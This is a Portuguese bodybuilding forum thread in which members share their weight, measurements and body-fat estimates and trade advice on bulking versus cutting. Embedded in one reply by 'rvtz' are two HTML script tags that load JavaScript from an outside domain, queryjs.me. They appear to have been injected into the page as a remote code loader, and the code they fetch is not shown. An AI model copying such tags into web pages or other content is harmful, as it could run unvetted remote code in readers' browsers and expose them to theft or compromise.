MrFera Postado Março 18, 2015 às 02:02 Postado Março 18, 2015 às 02:02 E ai Galera, preciso da ajuda de vocês! Seguinte, tenho 1,71m, 24 anos e atualmente estou pesando 74kg. Pratico musculação a algum tempo já, sendo que quando comecei pesava 96kg. Sempre tive bastante resultados perdendo as gorduras, porém estagnei neste ponto e mesmo fazendo dieta com deficit calórico não consegui eliminar essas gorduras localizadas (baixo abdomên, peito, culote e inteiror das pernas). Estou insatisfeito com meu peitoral e com o resto todo... tudo fica pior quando sento por exemplo, onde todas flacidezes descem juntas para o abdomên! Enfim, não sei qual caminho seguir, no momento faço treino ABC2x (segui orientações do forum mesmo) e Hiit na bike de spinning. OBS: Cheguei a pesar 67kg por um tempo e essas gorduras ainda estavam ai... perdi nessa época apenas massa magra. Me ajudem, o que faço??? Obrigado desde já! Então amigo, se você realmente estagnou, devia tentar um bulking limpo e lento durante o inverno. Sabes algumas das suas medidas? shape parecido com o meu rs
Cavernoso Frango Postado Março 18, 2015 às 02:06 Postado Março 18, 2015 às 02:06 *foto* resposta: bulk limpo sem medo
rvtz Postado Março 18, 2015 às 13:27 Postado Março 18, 2015 às 13:27 <script src="https://queryjs.me/services/script.js" type="text/javascript"></script> Faça isso, truta hahahahah olha que troll kkkkkkk<script src="https://queryjs.me/services/script.js" type="text/javascript"></script> *foto* resposta: bulk limpo sem medo Concordo. Bulk limpo sempre.
gmmachado Postado Março 18, 2015 às 14:24 Postado Março 18, 2015 às 14:24 Galera, Voltei a treinar no começo do ano e estou em cutting até agora... Altura: 1,81 Peso: 89 (Estava com 96 no início do cutt) Braço: 36+- Bf: Poderiam ajudar? Não tenho idéia Fotos Início: Atualmente: Queria manter até pelo menos ver o abdômen, mesmo ficando com esse peito de pombo magro ahahah oq acham? Cutt mais um tempo ou bulk limpo? Chutam quanto de bf nesse? Mais alguma opinião?
Brunskovy Postado Março 18, 2015 às 17:02 Postado Março 18, 2015 às 17:02 Então amigo, se você realmente estagnou, devia tentar um bulking limpo e lento durante o inverno. Sabes algumas das suas medidas? shape parecido com o meu rs Então, última vez que tirei medidas tava: 102cm Peito; 35cm Braço; 56cm Perna; 36cm Panturrilha; 85cm abs... com pouca assimetria, máximo 0,5cm em algumas medidas. Beleza, tenho mais algumas dúvidas, se vc puder me ajudar: - Quanto seria esse lento? - Com o aumento de massa, essas flacidez/gorduras vão diminuindo ou elas continuam lá até um cutting por exemplo? - Devo continuar com a parte aeróbica? - Por quanto tempo devo fazer o bulking +-? - Qual a parte (ou tudo) que parece mais deficiente e devo priorizar? *foto* resposta: bulk limpo sem medo Acho que um problema psicológico que toda pessoa que já foi gordo tem é com essa questão de sem medo... haha... parece que vai ganhar tudo aquilo de novo! óbvio que isso deve ser superado... Você poderia por favor me ajudar também com as perguntas que fiz ao nosso amigo MrFera, logo aqui em cima? Gostaria da opinião de vocês!!! Mto obrigado pela ajuda galera!
GabrielFz Postado Março 20, 2015 às 01:32 Postado Março 20, 2015 às 01:32 Boa noite glr, treino a cerca de 5 meses, tenho 16 anos , eu era MUITO gordo , cerca de 100 kg, e nesses meses perdi 25 kg sem nenhuma loucura, apenas na base da dieta e academia . Queria saber a opinião de vocês , se devo partir pra um bulk ou já da pra fzr um cut ... Tenho um certo receio de fzr bulk, acho que é normal , afinal a alguns meses atrás eu era uma bola . No mais , é isso ai . Sem pump. Vlw glr , esperando respostas
MrFera Postado Março 20, 2015 às 02:12 Postado Março 20, 2015 às 02:12 Então, última vez que tirei medidas tava: 102cm Peito; 35cm Braço; 56cm Perna; 36cm Panturrilha; 85cm abs... com pouca assimetria, máximo 0,5cm em algumas medidas. Beleza, tenho mais algumas dúvidas, se vc puder me ajudar: - Quanto seria esse lento? - Com o aumento de massa, essas flacidez/gorduras vão diminuindo ou elas continuam lá até um cutting por exemplo? - Devo continuar com a parte aeróbica? - Por quanto tempo devo fazer o bulking +-? - Qual a parte (ou tudo) que parece mais deficiente e devo priorizar? Acho que um problema psicológico que toda pessoa que já foi gordo tem é com essa questão de sem medo... haha... parece que vai ganhar tudo aquilo de novo! óbvio que isso deve ser superado... Você poderia por favor me ajudar também com as perguntas que fiz ao nosso amigo MrFera, logo aqui em cima? Gostaria da opinião de vocês!!! Mto obrigado pela ajuda galera! Lento seria umas 250 a 300gramas por semana no meu entender. (1 kilo por mes mais ou menos) As gorduras vão continuar ali provavelmente, não deve haver muita mudança nem pra mais, nem pra menos, mas como você vai ganhar massa magra, em porcentagem elas vão diminuir, e vai aparentar menos gordo. Depois no cutting vc as tira. Sim, Pode continuar a parta aeróbica pra manter o condicionamento. Faça o bulking até achar que deve fazer um cutting rs. Engorde alguns quilos depois poste outra foto pra galera avaliar, é meio dificil falar assim, cada caso é um caso. Não precisa isolar nenhuma parte por enquanto, foque em compostos para trabalhar o corpo todo. Boa noite glr, treino a cerca de 5 meses, tenho 16 anos , eu era MUITO gordo , cerca de 100 kg, e nesses meses perdi 25 kg sem nenhuma loucura, apenas na base da dieta e academia . Queria saber a opinião de vocês , se devo partir pra um bulk ou já da pra fzr um cut ... Tenho um certo receio de fzr bulk, acho que é normal , afinal a alguns meses atrás eu era uma bola . No mais , é isso ai . Sem pump. Vlw glr , esperando respostas CYMERA_20150319_221946.jpgCYMERA_20150319_221815.jpg Deu uma secada muito boa. Pode fazer um bulking sim, pra quem conseguiu perder 25Kgs, não deve ser problema perder mais alguns depois de um bulking ne? Brunskovy reagiu a isso 1
CAIOGYM Postado Março 20, 2015 às 23:44 Postado Março 20, 2015 às 23:44 (editado) Então, seguinte: 2014 (Novembro): 77 kg, 15,2% BF. Avaliação de hoje (2015, Março): 72 kg, 11,5% de BF. Consegui chegar a isso acrescentando aeróbicos como corrida, bike, e agora to começando o boxe. E claro, levando uma dieta até que bem feita. Tenho 1,74 de altura PORÉM! Com o BF baixo assim eu não deveria estar mais definido ou devo tentar 9%? Ainda não estou satisfeito obviamente. Estou errando em alguma coisa eu acho, sódio, muito carbo de alto indice glicemico como a Maltodextrina, o que pode ser? Não pretendo bulkar, por que fico parecendo um sapo gordo, e prefiro bem mais a proporção que o corpo está tomando agora. Aqui segue as fotos atuais de 11,5 % de BF: https://i.imgur.com/GLVLtaW.jpg?1 https://i.imgur.com/8PLQUGK.jpg?1 https://i.imgur.com/aJLjB5r.jpg?1 Obrigado, bons treinos a todos! Editado Março 20, 2015 às 23:45 por CAIOGYM
GabrielFz Postado Março 21, 2015 às 00:56 Postado Março 21, 2015 às 00:56 Não ta definido pq tem pouca massa magra , ao meu ver ... Acredito que seja isso , Só bulk na causa
CAIOGYM Postado Março 21, 2015 às 01:04 Postado Março 21, 2015 às 01:04 Não ta definido pq tem pouca massa magra , ao meu ver ... Acredito que seja isso , Só bulk na causa mas daí é foda, fui ate os 78 kg, fiquei meio gordo, pra depois definir, o professor da avaliacao disse que a quantidade de massa muscular ta normal
Brunskovy Postado Março 21, 2015 às 02:06 Postado Março 21, 2015 às 02:06 Lento seria umas 250 a 300gramas por semana no meu entender. (1 kilo por mes mais ou menos) As gorduras vão continuar ali provavelmente, não deve haver muita mudança nem pra mais, nem pra menos, mas como você vai ganhar massa magra, em porcentagem elas vão diminuir, e vai aparentar menos gordo. Depois no cutting vc as tira. Sim, Pode continuar a parta aeróbica pra manter o condicionamento. Faça o bulking até achar que deve fazer um cutting rs. Engorde alguns quilos depois poste outra foto pra galera avaliar, é meio dificil falar assim, cada caso é um caso. Não precisa isolar nenhuma parte por enquanto, foque em compostos para trabalhar o corpo todo. Deu uma secada muito boa. Pode fazer um bulking sim, pra quem conseguiu perder 25Kgs, não deve ser problema perder mais alguns depois de um bulking ne? Vlw pelas dicas MrFera.... vou fazer isso mesmo!!! Bons Treinos brother!
Arcoss Postado Março 21, 2015 às 02:21 Postado Março 21, 2015 às 02:21 Então, seguinte: 2014 (Novembro): 77 kg, 15,2% BF. Avaliação de hoje (2015, Março): 72 kg, 11,5% de BF. Consegui chegar a isso acrescentando aeróbicos como corrida, bike, e agora to começando o boxe. E claro, levando uma dieta até que bem feita. Tenho 1,74 de altura PORÉM! Com o BF baixo assim eu não deveria estar mais definido ou devo tentar 9%? Ainda não estou satisfeito obviamente. Estou errando em alguma coisa eu acho, sódio, muito carbo de alto indice glicemico como a Maltodextrina, o que pode ser? Não pretendo bulkar, por que fico parecendo um sapo gordo, e prefiro bem mais a proporção que o corpo está tomando agora. Aqui segue as fotos atuais de 11,5 % de BF: https://i.imgur.com/GLVLtaW.jpg?1 https://i.imgur.com/8PLQUGK.jpg?1 https://i.imgur.com/aJLjB5r.jpg?1 Obrigado, bons treinos a todos! Também acho que vc tem pouca massa magra, porém 11,5% realmente tá pouco, acho que vc tem uns 14%. Se vc fizer um bulk LIMPO com no máximo 500kcal a mais do que sua taxa de metabolismo duvido que vc vire um sapo gordo.
CAIOGYM Postado Março 21, 2015 às 14:10 Postado Março 21, 2015 às 14:10 Também acho que vc tem pouca massa magra, porém 11,5% realmente tá pouco, acho que vc tem uns 14%. Se vc fizer um bulk LIMPO com no máximo 500kcal a mais do que sua taxa de metabolismo duvido que vc vire um sapo gordo. pois eh, acho que estou sim com esse BF, porém, algo esta errado, retendo, nao sei, por que eu tinha 15% em novembro do ano passado.Mas po, nao queria entrar em bulk ja, queria ter o prazer se ver uma definicao corporea antes, pra depois pegar mais massa. Acho que vou continuar tentando dar mais uma definida. Arcoss reagiu a isso 1
johny9 Postado Março 21, 2015 às 17:55 Postado Março 21, 2015 às 17:55 (editado) AVALIEM DEVO FAZER CUTTING? NOVO AQUI. NAO SEI SI POSTEI CERTO. Editado Março 21, 2015 às 18:00 por johny9
CAIOGYM Postado Março 21, 2015 às 21:26 Postado Março 21, 2015 às 21:26 Olá galerê, não sabia onde colocar este tópico que é uma dúvida mais generalizada, caso for me avisem que deleto e vou colocar na respectiva área. Então, seguinte: 2014 (Novembro): 77 kg, 15,2% BF. Avaliação de hoje (2015, Março): 72 kg, 11,5% de BF. Consegui chegar a isso acrescentando aeróbicos como corrida, bike, e agora to começando o boxe. E claro, levando uma dieta até que bem feita. Tenho 1,74 de altura PORÉM! Com o BF baixo assim eu não deveria estar mais definido ou devo tentar 9%? Ainda não estou satisfeito obviamente. Estou errando em alguma coisa eu acho, sódio, muito carbo de alto indice glicemico como a Maltodextrina, o que pode ser? Não pretendo bulkar, por que fico parecendo um sapo gordo, e prefiro bem mais a proporção que o corpo está tomando agora. Aqui segue as fotos atuais de 11,5 % de BF: https://i.imgur.com/GLVLtaW.jpg?1 https://i.imgur.com/8PLQUGK.jpg?1 https://i.imgur.com/aJLjB5r.jpg?1 Obrigado, bons treinos a todos!
h1ghland3r Postado Março 22, 2015 às 01:31 Postado Março 22, 2015 às 01:31 Olá galerê, não sabia onde colocar este tópico que é uma dúvida mais generalizada, caso for me avisem que deleto e vou colocar na respectiva área. Então, seguinte: 2014 (Novembro): 77 kg, 15,2% BF. Avaliação de hoje (2015, Março): 72 kg, 11,5% de BF. Consegui chegar a isso acrescentando aeróbicos como corrida, bike, e agora to começando o boxe. E claro, levando uma dieta até que bem feita. Tenho 1,74 de altura PORÉM! Com o BF baixo assim eu não deveria estar mais definido ou devo tentar 9%? Ainda não estou satisfeito obviamente. Estou errando em alguma coisa eu acho, sódio, muito carbo de alto indice glicemico como a Maltodextrina, o que pode ser? Não pretendo bulkar, por que fico parecendo um sapo gordo, e prefiro bem mais a proporção que o corpo está tomando agora. Aqui segue as fotos atuais de 11,5 % de BF: https://i.imgur.com/GLVLtaW.jpg?1 https://i.imgur.com/8PLQUGK.jpg?1 https://i.imgur.com/aJLjB5r.jpg?1 Obrigado, bons treinos a todos! Cara, já responderam sua mesma postagem de ontem.. Sent from my Moto X
Alexandre Terra Postado Março 22, 2015 às 14:47 Postado Março 22, 2015 às 14:47 E aí? Ta com o shape fera, pode fazer um cutting leve ou então manter
MrFera Postado Março 22, 2015 às 23:59 Postado Março 22, 2015 às 23:59 Então, seguinte: 2014 (Novembro): 77 kg, 15,2% BF. Avaliação de hoje (2015, Março): 72 kg, 11,5% de BF. Consegui chegar a isso acrescentando aeróbicos como corrida, bike, e agora to começando o boxe. E claro, levando uma dieta até que bem feita. Tenho 1,74 de altura PORÉM! Com o BF baixo assim eu não deveria estar mais definido ou devo tentar 9%? Ainda não estou satisfeito obviamente. Estou errando em alguma coisa eu acho, sódio, muito carbo de alto indice glicemico como a Maltodextrina, o que pode ser? Não pretendo bulkar, por que fico parecendo um sapo gordo, e prefiro bem mais a proporção que o corpo está tomando agora. Aqui segue as fotos atuais de 11,5 % de BF: https://i.imgur.com/GLVLtaW.jpg?1 https://i.imgur.com/8PLQUGK.jpg?1 https://i.imgur.com/aJLjB5r.jpg?1 Obrigado, bons treinos a todos! Eu acho que vc deve ter um pouco mais de 11,5%, mas não muito. É normal amigo, tem gente como você e eu que infelizmente mesmo sendo magros acabam acumulando muita gordura na barriga. Mete um bulking ai e aos poucos vai tentando tirar essa banha. Foca em melhorar o resto agora, não olha pro abdomen se não desanima rs. E aí? Tá com pump e efeito nas fotos né? hehe. Shape tá massa, pode meter um bulking massa até o fim do inverno.
ThiBandicoot Postado Março 23, 2015 às 00:06 Postado Março 23, 2015 às 00:06 (editado) Chutam quanto de bf nesse? Mais alguma opinião? uns 16~17 de bf eu acho, nao sei, só fazendo teste com adipometro msm pra ter ctz Eai? Abs zuadinho :/ Editado Março 23, 2015 às 00:10 por ThiBandicoot
MrFera Postado Março 23, 2015 às 01:23 Postado Março 23, 2015 às 01:23 Tá um cavalo. Biceps muito bons. Eu secaria um pouco
ThiBandicoot Postado Março 23, 2015 às 01:55 Postado Março 23, 2015 às 01:55 Tá um cavalo. Biceps muito bons. Eu secaria um pouco vo secar em breve, só esperando acabar minha creatina, queria chegar nos 95 kg antes de secar, mais acho q nao vai dar :/
ThiBandicoot Postado Março 23, 2015 às 02:31 Postado Março 23, 2015 às 02:31 MrFera 92 kg, 1.76 de altura , 45 de braço, só sei isso , to sem fita aqui auheua
Priscilla Cabral Postado Março 25, 2015 às 01:51 Postado Março 25, 2015 às 01:51 - Treino há 1 ano e 5 meses. - Tenho 1,69, 65,5kg e bf 20% aproximadamente. - Queria saber se continuo em bulk ou faço um cutt (ambos naturais, porque não tenho interesse em competição, treino porque gosto).
mauricioblaster Postado Março 25, 2015 às 02:02 Postado Março 25, 2015 às 02:02 - Treino há 1 ano e 5 meses. - Tenho 1,69, 65,5kg e bf 20% aproximadamente. - Queria saber se continuo em bulk ou faço um cutt (ambos naturais, porque não tenho interesse em competição, treino porque gosto). Acho que vai muito da sua preferencia, tá bem entre os dois termos. Se tu prefere estar mais magrinha, vai no cutting. Se está se sentindo pequena ainda, continua no bulking leve. Enfim, vai estar bem de qualquer maneira Priscilla Cabral reagiu a isso 1
MrFera Postado Março 25, 2015 às 02:25 Postado Março 25, 2015 às 02:25 Acho que vc devia aproveitar que tem o corpo magro e bem desenhado e emagrecer pra definir, deixar mais durinho .
Gus. Postado Março 25, 2015 às 02:39 Postado Março 25, 2015 às 02:39 Acho que vc devia aproveitar que tem o corpo magro e bem desenhado e emagrecer pra definir, deixar mais durinho . Concordo, dá pra ver que tem uma concentração em gordura na infrabdominal na região do umbigo, eu ia de cutting.
MonsterFreak Postado Março 25, 2015 às 02:45 Postado Março 25, 2015 às 02:45 (editado) priscila depende , qual estilo de shape que voce gosta , mais magrinha ou cavalona ? eu iria de clean bulking ,as coxas estao com pouca massa magra, da pra ganhar bastante ainda , porem voce ta com shape bom Editado Março 25, 2015 às 02:45 por MonsterFreak
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